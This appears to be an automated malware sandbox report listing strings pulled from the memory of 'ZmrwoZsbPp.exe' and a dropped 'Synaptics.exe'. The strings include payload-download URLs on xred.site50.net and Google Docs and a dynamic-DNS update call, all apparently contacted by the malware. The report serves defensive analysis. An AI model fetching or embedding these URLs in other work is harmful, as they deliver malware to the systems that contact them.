Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 05 Dec 2024 23:16:31 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4BBmiaQizsUsDM5qStE40w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC6TFyFHdKZ9Gx3ehio0lyoygSZE_gGsoIVM5xvZBD6E-gx3YaO6-LluSh7XB9yfaK3IoipE3H3PHwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978p
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl
Source: ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3160506345.000000003D712000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3156832203.000000003D582000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762861959.0000000000824000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3117496416.000000001E480000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001E044000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/&export=download
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/X
Source: Synaptics.exe, 00000002.00000002.3160506345.000000003D712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/a
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/c?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/google.com/
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/user
Source: Synaptics.exe, 00000002.00000002.3138964913.0000000030DFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3086659147.0000000006AFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3152479352.000000003B9FE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3153625332.000000003C3FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3086128879.0000000005C1E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3090674924.000000000A3FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3143471338.00000000358FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3144736185.0000000036BBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3144170063.000000003643E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3140521981.000000003283E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085445423.00000000054DE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3169210949.0000000045E8E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3148085279.0000000039B3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3143262797.000000003553E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3148752309.000000003A17E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3110171467.000000001B07E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3140751191.0000000032BFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3090504296.0000000009EFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3143329436.000000003567E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3105414104.00000000158FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3086165613.0000000005D5E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3139408059.000000003157E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3172431124.000000004903E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3089159743.0000000007F93000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$D
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$w
Source: Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%2
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&$
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&I
Source: Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(&
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)7
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-0
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-G
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-a
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-uri
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..TF
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.C
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.a
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.ce#
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.mooo
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.mooo5S
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.mooo6
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.mpG
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.n
Source: Synaptics.exe, 00000002.00000002.3173268898.0000000049CBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.y
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/D
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/w
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007DC0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007CA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0C
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0H
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0u
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
